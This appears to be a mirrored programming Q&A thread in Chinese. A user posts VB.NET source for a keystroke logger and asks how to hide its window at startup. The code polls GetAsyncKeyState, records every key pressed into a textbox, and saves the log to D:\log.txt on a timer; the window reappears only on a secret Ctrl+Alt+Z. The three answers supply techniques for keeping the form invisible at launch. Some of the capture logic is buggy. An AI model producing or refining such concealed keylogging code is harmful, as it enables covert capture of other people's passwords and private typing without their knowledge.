1

我试图在启动时隐藏主窗体,但由于某种原因我没有这样做。在下面的代码中,我创建了一个隐藏表单的按钮,但我想在加载时隐藏表单。请帮帮我。提前致谢。

Option Strict On

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String

        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                tbLog.Text = tbLog.Text + Chr(i)
                If i = 13 Then key = vbNewLine

                Exit For
            End If
        Next i

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                tbLog.Text = key
            Else
                tbLog.Text = key.ToLower
            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
            Me.Show()

        End If
    End Sub

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub
    Private msg As String = ""
    Private Sub timerSave_Tick() Handles timerSave.Tick
        My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
        tbLog.Clear()

    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
        'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
        timerSave_Tick()

    End Sub


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

        tbLog.Text = " Started at :" & Now & vbNewLine

    End Sub

    Public Sub store(ByVal s As String)

    End Sub
End Class
4

3 回答 3

4

如果您不想在启动时显示表单,那么解决方案是更改项目的启动方法,而不是尝试隐藏表单。

在应用程序设置中,禁用“应用程序框架”并将启动对象设置为Sub Main而不是表单对象。然后在模块中编写适当的Sub Main入口点。

MSDN 有更多信息(尽管本文中给出的一些信息具有严重的误导性)。

于 2013-04-05T10:12:34.673 回答
0

只需在表单的开头输入粘贴即可。

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
    If Not Me.IsHandleCreated Then
        Me.CreateHandle()
        value = False
    End If
    MyBase.SetVisibleCore(value)
End Sub

更多信息见: 如何拥有一个不可见的启动表格?汉斯·帕桑特

最好的,

于 2014-11-07T08:02:32.633 回答
-1

当您转到代码选项卡时,它的正下方是一个列表框。选择“(form1 事件)”。完成后,旁边是另一个列表框。将该文本框放在“加载”上。创建了一个新事件。该事件在程序启动时启动。放入这个事件:me.visible = false。这应该这样做。

于 2013-05-20T10:39:47.893 回答